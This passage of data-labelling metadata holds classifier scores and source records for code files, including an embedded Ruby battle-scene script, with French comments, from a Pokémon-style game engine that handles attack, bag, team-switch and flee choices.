"code_density": {"0": 0.00024357435242762746, "1": 0.00047377527427754876, "2": 0.016709828864541948, "3": 0.08310302606567929, "4": 0.8994697954430736}, "reasoning_density": {"0": 0.6599785703290558, "1": 0.09745951821531249, "2": 0.11143693806707039, "3": 0.07808674694174793, "4": 0.05303822644681343}, "education_level": {"none": 0.002268304951220742, "0": 0.007799816459541861, "1": 0.2557277303408534, "2": 0.7170262915846446, "3": 0.01478149045949962, "4": 0.0023963662042398443}, "creative_writing_quality": {"not_applicable": 0.9967984529179468, "-2": 0.0003123793155963947, "-1": 0.0007871900932705916, "0": 0.0018348611859538935, "1": 0.0001953464957972643, "2": 7.176999143512689e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 0.00012328190458887176, "Art & Design": 0.0002404204970412399, "Law & Crime": 0.00014653917190878487, "Education & Careers": 0.00010929444329385448, "Entertainment & Media": 0.00044927408016921875, "Fashion & Beauty": 9.539869973789276e-05, "Business, Economics & Finance": 0.00015573506662167557, "Food & Dining": 9.579107933355896e-05, "Games & Gaming": 0.07784645357015091, "Electronics & Hardware": 0.0001214105354519457, "Health, Healthcare & Wellness": 9.25892441488911e-05, "History & Geography": 0.0001298365400921519, "Home, Pets & Hobbies": 0.00018087589586620044, "Industry & Production": 0.0001187807537308466, "Language, Literature & Philosophy": 0.00013560984064734895, "Politics & Government": 4.755535401876036e-05, "Religion & Spirituality": 0.00010546484330745806, "Science, Mathematics & Engineering": 0.0006624739442272368, "Relationships & Community": 7.641571185132739e-05, "Software Usage & Applications": 0.00039824645546743183, "Programming & Software Engineering": 0.9179795677815497, "Sports & Fitness": 0.0001498549587396023, "Vehicles & Transportation": 5.756526795877489e-05, "Travel & Tourism": 0.00011434379584219191, "Other / Uncovered Subject": 0.0002411993687447939, "Unknown / Insufficient Content": 0.000126021195509413}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0008666374598617204, "Art & Design": 0.0009341426221518422, "Law & Crime": 0.0005606269661091416, "Education & Careers": 0.00037231850733530084, "Entertainment & Media": 0.002095879171962811, "Fashion & Beauty": 0.00036610396072712166, "Business, Economics & Finance": 0.0005341230540270563, "Food & Dining": 0.00034255669574029057, "Games & Gaming": 0.33148852986468746, "Electronics & Hardware": 0.0004030776603717139, "Health, Healthcare & Wellness": 0.0003671700498245711, "History & Geography": 0.00042878616258148485, "Home, Pets & Hobbies": 0.0007661407952142197, "Industry & Production": 0.00031877462844155804, "Language, Literature & Philosophy": 0.0003373236881047218, "Politics & Government": 0.00020124276746585144, "Religion & Spirituality": 0.0004355088647495853, "Science, Mathematics & Engineering": 0.003299846127113443, "Relationships & Community": 0.00023373373397765404, "Software Usage & Applications": 0.0006131023258510187, "Programming & Software Engineering": 0.05239485878294648, "Sports & Fitness": 0.0003590067771185592, "Vehicles & Transportation": 0.0001695763247713468, "Travel & Tourism": 0.0005125689044036009, "Other / Uncovered Subject": 0.0007734556793242596, "NONE": 0.6008249084251372}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999997, "mass_delta": -3.3306690738754696e-16, "missing_mass": 3.3306690738754696e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}}, "usage": {"input_tokens": 10310, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 10310, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:30:16.803076+00:00", "scoring_key_slot": "primary", "dataset_uid": "b771c9c8-68a4-4c1d-87d3-083956c90bd1", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "2fe1ec5fd4cc1d68e43239834174f73d81f8c3b1171e90bbf0bb7d851bd16c0c", "source_metadata": {"uuid": "b771c9c8-68a4-4c1d-87d3-083956c90bd1", "repo_name": "IngaMM/rb_mastermind", "relative_path": "mastermind.rb", "category": "ALGO", "algo_rel_score": 0.9308722019195557, "quality_score": 4.269138813018799, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 1, "repo_created_at": "2019-12-11T23:40:18.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "af83ca253bc1489f819ad8bbef878c7841542331", "size_bytes": 6141, "file_timestamp": 1576107631, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "e3cf1e18bbbd54c8d425eb5f499e533e4256c5da"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 1, "repo_created_at": "2019-12-11T23:40:18.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "af83ca253bc1489f819ad8bbef878c7841542331", "size_bytes": 6141, "file_timestamp": 1576107631, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "e3cf1e18bbbd54c8d425eb5f499e533e4256c5da", "url": "https://github.com/IngaMM/rb_mastermind/blob/e3cf1e18bbbd54c8d425eb5f499e533e4256c5da/mastermind.rb"}, "gpt4o_tokens": 1730, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.3251861872730385, "noise_severity": 0.32860554370381023, "missing_content_severity": 0.25629705039372636, "factual_density": 3.376600530958524, "pretraining_utility": 0.4822148787663386, "math_density": 0.6254713004117793, "code_density": 3.881081692972694, "reasoning_density": 0.7667465409619507, "education_level": 1.7476745084462315, "creative_writing_quality": -0.33516990951376807}, "score_applicability": {"education_level": 0.9977316950487793, "creative_writing_quality": 0.0032015470820532708}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/Marco-Puig/Thunder-Lightning/blob/6a66b294ad8ef1e0eb4ce97e665c73ff243d77a5/pokemonsdk/keep/01500%20Alpha%2024%20Battle%20Engine%20%28deprecated%29/01600%20Scene_Battle/01000%20Scene_Battle_Phase_2_Sub.rb", "id": "ruby-0-d1c4712b916e606dfdab521b1de53359", "text": "#encoding: utf-8\n\n#noyard\n# Description: Définition de la phase de choix de l'action à réaliser\nclass Scene_Battle\n #===\n #> Lorsqu'on appuie sur A ou la souris dans la phase 2\n #===\n def on_phase2_validation\n @action_selector&.visible = false\n case @action_index\n when 0 #Attaquer\n $game_system.se_play($data_system.decision_se)\n @player_choice_ui&.visible = false\n launch_phase_event(3,false)\n @to_start = :start_phase3\n when 2 # Sac\n phase2_display_bag\n when 1 # Pokémon\n phase2_display_team\n when 3 # Fuite\n phase2_flee\n end\n end\n\n #===\n #> Affichage de l'interface du sac\n #===\n def phase2_display_bag\n $game_system.se_play($data_system.decision_se)\n Graphics.freeze\n @message_window.visible = false\n @player_choice_ui&.visible = false\n #> Appel interne de l'interface\n scene = GamePlay::Battle_Bag.new(@actors)\n scene.main\n return_data = scene.return_data\n #> Retour sur la scène de combat\n if return_data == -1\n @action_selector&.visible = true\n @player_choice_ui&.visible = true\n end\n @message_window.visible = true\n Graphics.transition\n @player_choice_ui&.reset\n #> Action s'il y a bien eu utilisation d'un objet\n if return_data != -1\n @actor_actions.push([1,return_data])\n $bag.remove_item(return_data[0],1)\n update_phase2_next_act\n end\n end\n\n #===\n #> Affichage de l'interface de l'équipe\n #===\n def phase2_display_team\n #> Si le Pokémon est bloqué on l'empêche de se faire switch\n unless BattleEngine::_can_switch(@actors[@actor_actions.size])\n $game_system.se_play($data_system.buzzer_se)\n @player_choice_ui&.visible = true\n return @action_selector&.visible = true\n end\n $game_system.se_play($data_system.decision_se)\n Graphics.freeze\n @player_choice_ui&.visible = false\n @message_window.visible = false\n #> Appel interne de l'interface\n scene = GamePlay::Party_Menu.new(@actors, :battle)\n scene.main\n return_data = scene.return_data\n if(@actor_actions[-1] and @actor_actions[-1][0]==2 and @actor_actions[-1][1]==return_data)\n return_data = -1\n end\n #> Retour à la scène de combat\n if return_data == -1\n @action_selector&.visible = true\n @player_choice_ui&.visible = true\n end\n @message_window.visible = true\n @player_choice_ui&.reset\n Graphics.transition\n #> Action s'il y a bien eu switch de Pokémon\n if return_data != -1\n @actor_actions.push([2,return_data,@actor_actions.size])\n update_phase2_next_act\n end\n end\n\n #===\n #> Action de fuite\n #===\n def phase2_flee\n $game_system.se_play($data_system.decision_se)\n #> Vérification de l'empêchement de fuite (blocage ou combat de dresseur)\n t = $game_temp.trainer_battle \n if t or $game_switches[Yuki::Sw::BT_NoEscape]\n @player_choice_ui&.visible = false\n display_message(text_get(18,(t ? 79 : 77))) #\"Vous ne pouvez pas fuire lors d'un combat de dresseur.\")\n @action_selector&.visible = true\n start_phase2(@actor_actions.size)\n return\n end\n # Mise à jour de la phase de fuite\n update_phase2_escape\n end\n\n #===\n #> Calcul du facteur de fuite\n #===\n def phase2_flee_factor\n a = @actors[@actor_actions.size].spd_basis\n b = @enemies[0].spd_basis\n b = 1 if b <= 0\n c = @flee_attempt\n @flee_attempt += 1\n f = ( ( a * 128 ) / b + 30 * c) #% 256 #< Le modulo rend la fuite merdique :/\n pc \"Flee factor : #{f}\"\n return f\n end\nend\n", "text_preview": "#encoding: utf-8 #noyard # Description: Définition de la phase de choix de l'action à réaliser class Scene_Battle #=== #> Lorsqu'on appuie sur A ou la souris dans la phase 2 #=== def on_phase2_validation @action_selector&.visible = false ca", "input_sha256": "f55cbffb5428faf8a3941b45a1bf3fc9a2a24155e152df9715af7aaba4a45562", "text_sha256": "d1c4712b916e606dfdab521b1de53359cce0f089c5b115cd225e3dead51fa8e3", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16025, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 1, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.9371850962687426, "noise_severity": 0.07578197024287031, "missing_content_severity": 0.04048169821229351, "factual_density": 3.5022101767583065, "pretraining_utility": 0.293809860872546, "math_density": 0.990142595926087, "code_density": 3.7863997533723035, "reasoning_density": 0.6403096118246853, "education_level": 2.0411517679295055, "creative_writing_quality": -0.3264303519190956}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.004032391467195473, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9972446934491018, "secondary": 0.9826761282735067, "tertiary": 0.9868838411088412, "structured_records": 0.007934983090511528, "procedural_steps": 0.0030096551755086037, "worked_solution": 0.004356626264265734, "contextual_dialogue": 8.140554313894439e-06, "content_quality": 0.5701559846584734, "noise_severity": 0.9368483581309414, "missing_content_severity": 0.9662652514897554, "factual_density": 0.5851751472985882, "pretraining_utility": 0.5079440504736425, "math_density": 0.7400616486383906, "code_density": 0.8219997944769195, "reasoning_density": 0.46640865681276233, "education_level": 0.693968580674732, "creative_writing_quality": 0.9994129013124817, "primary_topic": 0.938432459686659, "secondary_topic": 0.6709315201066913}, "probability_margin": {"primary": 0.9957529852731565, "secondary": 0.9744677920564971, "tertiary": 0.9811958335491758, "education_level": 0.6298747220162587, "creative_writing_quality": 0.9992966932289352, "primary_topic": 0.8855929996732519, "secondary_topic": 0.4236100892661766}, "raw_probabilities": {"primary": {"Academic Writing": 2.8236639100890528e-05, "Content Listing": 1.6862684429514975e-05, "Creative Writing": 4.2819828405020394e-05, "Customer Support Page": 7.174778360064427e-06, "Q&A Forum": 1.0755560002083037e-05, "Discussion Thread": 6.9779827206181815e-06, "Comment Section": 1.5801223375830572e-05, "Missing Content": 2.2839723780844804e-05, "Knowledge Article": 7.223862052780744e-05, "Legal Notices": 1.805656379401251e-05, "News Article": 3.896914250493906e-06, "Organizational Announcement": 9.263078311088418e-06, "Nonfiction Writing": 1.1196242614086787e-05, "Organizational About Page": 9.941424964506817e-06, "Personal About Page": 1.0079093260695652e-05, "Personal Blog": 9.352964300543781e-06, "Product Page": 6.680808005004617e-06, "Spam / Ads": 1.0319853917322581e-05, "Structured Data": 0.0004015680223380377, "Technical Writing": 0.9973594978887226, "Transcript / Interview": 1.4030865003479455e-05, "Tutorial / How-To Guide": 0.000298861178932641, "User Reviews": 7.035445317025241e-06, "Other / Unknown": 0.0016065126155661376}, "secondary": {"Academic Writing": 0.00010499024102817413, "Content Listing": 8.473438413106577e-05, "Creative Writing": 0.0004947700642397257, "Customer Support Page": 5.721398650113164e-05, "Q&A Forum": 4.696410153382919e-05, "Discussion Thread": 4.178938384593223e-05, "Comment Section": 0.0009751491682895626, "Missing Content": 0.0003795409962813559, "Knowledge Article": 0.0009139107961698966, "Legal Notices": 0.0001235916399329476, "News Article": 4.744158364481481e-05, "Organizational Announcement": 5.722323576352732e-05, "Nonfiction Writing": 0.00011834003263563924, "Organizational About Page": 6.365788047349102e-05, "Personal About Page": 5.7306027250499034e-05, "Personal Blog": 0.0001079509571096719, "Product Page": 3.33360740672286e-05, "Spam / Ads": 7.731246903411411e-05, "Structured Data": 0.0023258830563016777, "Technical Writing": 0.008930164205613409, "Transcript / Interview": 7.29301622980584e-05, "Tutorial / How-To Guide": 0.0014529125832182382, "User Reviews": 3.493070852537402e-05, "NONE": 0.9833979562621106}, "tertiary": {"Academic Writing": 8.117826013138329e-05, "Content Listing": 6.983256521745746e-05, "Creative Writing": 0.0003683281292038131, "Customer Support Page": 5.3277771861348435e-05, "Q&A Forum": 4.0022191074888886e-05, "Discussion Thread": 4.2243184951873785e-05, "Comment Section": 0.0011652799699350832, "Missing Content": 0.0004376635602716976, "Knowledge Article": 0.0007804302559644963, "Legal Notices": 0.00016497657849763356, "News Article": 4.4826660604273745e-05, "Organizational Announcement": 5.404377033218484e-05, "Nonfiction Writing": 0.00020122291920237985, "Organizational About Page": 6.762252400556101e-05, "Personal About Page": 4.4418027311711094e-05, "Personal Blog": 0.00022782850716058443, "Product Page": 2.9779502207098875e-05, "Spam / Ads": 7.301933748593992e-05, "Structured Data": 0.0010710376617575532, "Technical Writing": 0.006234514180130337, "Transcript / Interview": 6.116102605419497e-05, "Tutorial / How-To Guide": 0.0012166565397949054, "User Reviews": 4.028914753751648e-05, "NONE": 0.9874303477293062}, "structured_records": {"false": 0.9920650169094885, "true": 0.007934983090511528}, "procedural_steps": {"false": 0.9969903448244914, "true": 0.0030096551755086037}, "worked_solution": {"false": 0.9956433737357343, "true": 0.004356626264265734}, "contextual_dialogue": {"false": 0.9999918594456861, "true": 8.140554313894439e-06}, "content_quality": {"-2": 0.0062636132190667495, "-1": 0.019761534591774706, "0": 0.23099995222979502, "1": 0.5164759426200763, "2": 0.2264989573392872}, "noise_severity": {"0": 0.9300918744847986, "1": 0.06617796934248636, "2": 0.0022567093556495974, "3": 0.0008032050791782382, "4": 0.0006702417378875155}, "missing_content_severity": {"0": 0.9704821963100664, "1": 0.021388421922933554, "2": 0.00584549893564306, "3": 0.0017332529073543217, "4": 0.0005506299240027176}, "factual_density": {"0": 0.0033286833695689595, "1": 0.006726309094244894, "2": 0.06170348463339037, "3": 0.34088919321390293, "4": 0.587352329688893}, "pretraining_utility": {"-2": 0.009747101111014244, "-1": 0.12883443705751293, "0": 0.47240962556365185, "1": 0.33587917238355475, "2": 0.05312966388426637}, "math_density": {"0": 0.1608917128539222, "1": 0.7368650367416262, "2": 0.07322321387834083, "3": 0.009249014676664316, "4": 0.019771021849446544}, "code_density": {"0": 0.00036035994579548965, "1": 0.0007409851257837623, "2": 0.01782162305260093, "3": 0.17429260536196142, "4": 0.8067844265138584}, "reasoning_density": {"0": 0.6372000936730473, "1": 0.1595598663659247, "2": 0.1458854153927916, "3": 0.04043958359976849, "4": 0.016915040968467968}, "education_level": {"none": 0.0031726716654749557, "0": 0.0040974594046887984, "1": 0.11039896083277081, "2": 0.7449738172289433, "3": 0.1150990952126846, "4": 0.022257995655437495}, "creative_writing_quality": {"not_applicable": 0.9995107510937348, "-2": 7.172899151606386e-05, "-1": 0.00012009762540038689, "0": 0.00021405786479956036, "1": 6.287893331447398e-05, "2": 2.0485491234899286e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 0.00014096502958034187, "Art & Design": 0.0002607567309931728, "Law & Crime": 0.00012827076543429151, "Education & Careers": 9.259014852031865e-05, "Entertainment & Media": 0.0008874864579556433, "Fashion & Beauty": 0.00012105071345928173, "Business, Economics & Finance": 0.00010544083197189056, "Food & Dining": 9.06798300195832e-05, "Games & Gaming": 0.055207442333150995, "Electronics & Hardware": 9.440705165232794e-05, "Health, Healthcare & Wellness": 7.186385044506077e-05, "History & Geography": 0.0001088463610961243, "Home, Pets & Hobbies": 0.00011162077695746524, "Industry & Production": 8.653649961595798e-05, "Language, Literature & Philosophy": 0.00011908929776479486, "Politics & Government": 5.737860020352713e-05, "Religion & Spirituality": 9.707325708379347e-05, "Science, Mathematics & Engineering": 0.00025014830463774066, "Relationships & Community": 6.928253126005333e-05, "Software Usage & Applications": 0.00041430088971727364, "Programming & Software Engineering": 0.9408004420064029, "Sports & Fitness": 0.00018859383004634232, "Vehicles & Transportation": 4.926475578565569e-05, "Travel & Tourism": 9.76935474056545e-05, "Other / Uncovered Subject": 0.00020259462464234618, "Unknown / Insufficient Content": 0.00014618097419756196}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0009220761740481267, "Art & Design": 0.001115213323953871, "Law & Crime": 0.0005012791808227913, "Education & Careers": 0.00031601204410782303, "Entertainment & Media": 0.0020087446378013584, "Fashion & Beauty": 0.0003409454066328441, "Business, Economics & Finance": 0.00047510380540262756, "Food & Dining": 0.0002653390763267964, "Games & Gaming": 0.2599779108364112, "Electronics & Hardware": 0.00036017554643103005, "Health, Healthcare & Wellness": 0.0003346343543735878, "History & Geography": 0.0003137824063123871, "Home, Pets & Hobbies": 0.00044912333022917176, "Industry & Production": 0.00023321275161601547, "Language, Literature & Philosophy": 0.0005279303687873513, "Politics & Government": 0.00021854388467796334, "Religion & Spirituality": 0.00032846048276987614, "Science, Mathematics & Engineering": 0.0007337808700472258, "Relationships & Community": 0.00021774403036027706, "Software Usage & Applications": 0.0006647006750427489, "Programming & Software Engineering": 0.044724185780603644, "Sports & Fitness": 0.0003327412123423352, "Vehicles & Transportation": 0.0001434008692475539, "Travel & Tourism": 0.000417804966558356, "Other / Uncovered Subject": 0.0004891538825052406, "NONE": 0.6835880001025878}}, "probabilities": {"primary": {"Academic Writing": 2.823663910089052e-05, "Content Listing": 1.686268442951497e-05, "Creative Writing": 4.281982840502039e-05, "Customer Support Page": 7.174778360064425e-06, "Q&A Forum": 1.0755560002083035e-05, "Discussion Thread": 6.97798272061818e-06, "Comment Section": 1.580122337583057e-05, "Missing Content": 2.28397237808448e-05, "Knowledge Article": 7.223862052780742e-05, "Legal Notices": 1.8056563794012508e-05, "News Article": 3.8969142504939055e-06, "Organizational Announcement": 9.263078311088416e-06, "Nonfiction Writing": 1.1196242614086786e-05, "Organizational About Page": 9.941424964506815e-06, "Personal About Page": 1.007909326069565e-05, "Personal Blog": 9.35296430054378e-06, "Product Page": 6.680808005004615e-06, "Spam / Ads": 1.031985391732258e-05, "Structured Data": 0.0004015680223380376, "Technical Writing": 0.9973594978887224, "Transcript / Interview": 1.4030865003479451e-05, "Tutorial / How-To Guide": 0.00029886117893264093, "User Reviews": 7.0354453170252394e-06, "Other / Unknown": 0.0016065126155661372}, "secondary": {"Academic Writing": 0.00010499024102817414, "Content Listing": 8.473438413106579e-05, "Creative Writing": 0.0004947700642397258, "Customer Support Page": 5.721398650113165e-05, "Q&A Forum": 4.6964101533829195e-05, "Discussion Thread": 4.1789383845932235e-05, "Comment Section": 0.0009751491682895628, "Missing Content": 0.00037954099628135596, "Knowledge Article": 0.0009139107961698967, "Legal Notices": 0.00012359163993294763, "News Article": 4.744158364481482e-05, "Organizational Announcement": 5.7223235763527324e-05, "Nonfiction Writing": 0.00011834003263563925, "Organizational About Page": 6.365788047349104e-05, "Personal About Page": 5.730602725049904e-05, "Personal Blog": 0.00010795095710967191, "Product Page": 3.333607406722861e-05, "Spam / Ads": 7.731246903411413e-05, "Structured Data": 0.002325883056301678, "Technical Writing": 0.00893016420561341, "Transcript / Interview": 7.293016229805841e-05, "Tutorial / How-To Guide": 0.0014529125832182385, "User Reviews": 3.4930708525374025e-05, "NONE": 0.9833979562621107}, "tertiary": {"Academic Writing": 8.117826013138329e-05, "Content Listing": 6.983256521745746e-05, "Creative Writing": 0.0003683281292038131, "Customer Support Page": 5.3277771861348435e-05, "Q&A Forum": 4.0022191074888886e-05, "Discussion Thread": 4.2243184951873785e-05, "Comment Section": 0.0011652799699350832, "Missing Content": 0.0004376635602716976, "Knowledge Article": 0.0007804302559644963, "Legal Notices": 0.00016497657849763356, "News Article": 4.4826660604273745e-05, "Organizational Announcement": 5.404377033218484e-05, "Nonfiction Writing": 0.00020122291920237985, "Organizational About Page": 6.762252400556101e-05, "Personal About Page": 4.4418027311711094e-05, "Personal Blog": 0.00022782850716058443, "Product Page": 2.9779502207098875e-05, "Spam / Ads": 7.301933748593992e-05, "Structured Data": 0.0010710376617575532, "Technical Writing": 0.006234514180130337, "Transcript / Interview": 6.116102605419497e-05, "Tutorial / How-To Guide": 0.0012166565397949054, "User Reviews": 4.028914753751648e-05, "NONE": 0.9874303477293062}, "structured_records": {"false": 0.9920650169094885, "true": 0.007934983090511528}, "procedural_steps": {"false": 0.9969903448244914, "true": 0.0030096551755086037}, "worked_solution": {"false": 0.9956433737357343, "true": 0.004356626264265734}, "contextual_dialogue": {"false": 0.9999918594456861, "true": 8.140554313894439e-06}, "content_quality": {"-2": 0.0062636132190667495, "-1": 0.019761534591774706, "0": 0.23099995222979502, "1": 0.5164759426200763, "2": 0.2264989573392872}, "noise_severity": {"0": 0.9300918744847984, "1": 0.06617796934248635, "2": 0.002256709355649597, "3": 0.000803205079178238, "4": 0.0006702417378875154}, "missing_content_severity": {"0": 0.9704821963100664, "1": 0.021388421922933554, "2": 0.00584549893564306, "3": 0.0017332529073543217, "4": 0.0005506299240027176}, "factual_density": {"0": 0.0033286833695689595, "1": 0.006726309094244894, "2": 0.06170348463339037, "3": 0.34088919321390293, "4": 0.587352329688893}, "pretraining_utility": {"-2": 0.009747101111014242, "-1": 0.1288344370575129, "0": 0.47240962556365174, "1": 0.3358791723835547, "2": 0.053129663884266355}, "math_density": {"0": 0.1608917128539222, "1": 0.7368650367416262, "2": 0.07322321387834083, "3": 0.009249014676664316, "4": 0.019771021849446544}, "code_density": {"0": 0.00036035994579548965, "1": 0.0007409851257837623, "2": 0.01782162305260093, "3": 0.17429260536196142, "4": 0.8067844265138584}, "reasoning_density": {"0": 0.6372000936730473, "1": 0.1595598663659247, "2": 0.1458854153927916, "3": 0.04043958359976849, "4": 0.016915040968467968}, "education_level": {"none": 0.0031726716654749557, "0": 0.0040974594046887984, "1": 0.11039896083277081, "2": 0.7449738172289433, "3": 0.1150990952126846, "4": 0.022257995655437495}, "creative_writing_quality": {"not_applicable": 0.9995107510937346, "-2": 7.172899151606385e-05, "-1": 0.00012009762540038686, "0": 0.0002140578647995603, "1": 6.287893331447397e-05, "2": 2.0485491234899283e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 0.00014096502958034187, "Art & Design": 0.0002607567309931728, "Law & Crime": 0.00012827076543429151, "Education & Careers": 9.259014852031865e-05, "Entertainment & Media": 0.0008874864579556433, "Fashion & Beauty": 0.00012105071345928173, "Business, Economics & Finance": 0.00010544083197189056, "Food & Dining": 9.06798300195832e-05, "Games & Gaming": 0.055207442333150995, "Electronics & Hardware": 9.440705165232794e-05, "Health, Healthcare & Wellness": 7.186385044506077e-05, "History & Geography": 0.0001088463610961243, "Home, Pets & Hobbies": 0.00011162077695746524, "Industry & Production": 8.653649961595798e-05, "Language, Literature & Philosophy": 0.00011908929776479486, "Politics & Government": 5.737860020352713e-05, "Religion & Spirituality": 9.707325708379347e-05, "Science, Mathematics & Engineering": 0.00025014830463774066, "Relationships & Community": 6.928253126005333e-05, "Software Usage & Applications": 0.00041430088971727364, "Programming & Software Engineering": 0.9408004420064029, "Sports & Fitness": 0.00018859383004634232, "Vehicles & Transportation": 4.926475578565569e-05, "Travel & Tourism": 9.76935474056545e-05, "Other / Uncovered Subject": 0.00020259462464234618, "Unknown / Insufficient Content": 0.00014618097419756196}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0009220761740481267, "Art & Design": 0.001115213323953871, "Law & Crime": 0.0005012791808227913, "Education & Careers": 0.00031601204410782303, "Entertainment & Media": 0.0020087446378013584, "Fashion & Beauty": 0.0003409454066328441, "Business, Economics & Finance": 0.00047510380540262756, "Food & Dining": 0.0002653390763267964, "Games & Gaming": 0.2599779108364112, "Electronics & Hardware": 0.00036017554643103005, "Health, Healthcare & Wellness": 0.0003346343543735878, "History & Geography": 0.0003137824063123871, "Home, Pets & Hobbies": 0.00044912333022917176, "Industry & Production": 0.00023321275161601547, "Language, Literature & Philosophy": 0.0005279303687873513, "Politics & Government": 0.00021854388467796334, "Religion & Spirituality": 0.00032846048276987614, "Science, Mathematics & Engineering": 0.0007337808700472258, "Relationships & Community": 0.00021774403036027706, "Software Usage & Applications": 0.0006647006750427489, "Programming & Software Engineering": 0.044724185780603644, "Sports & Fitness": 0.0003327412123423352, "Vehicles & Transportation": 0.0001434008692475539, "Travel & Tourism": 0.000417804966558356, "Other / Uncovered Subject": 0.0004891538825052406, "NONE": 0.6835880001025878}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": 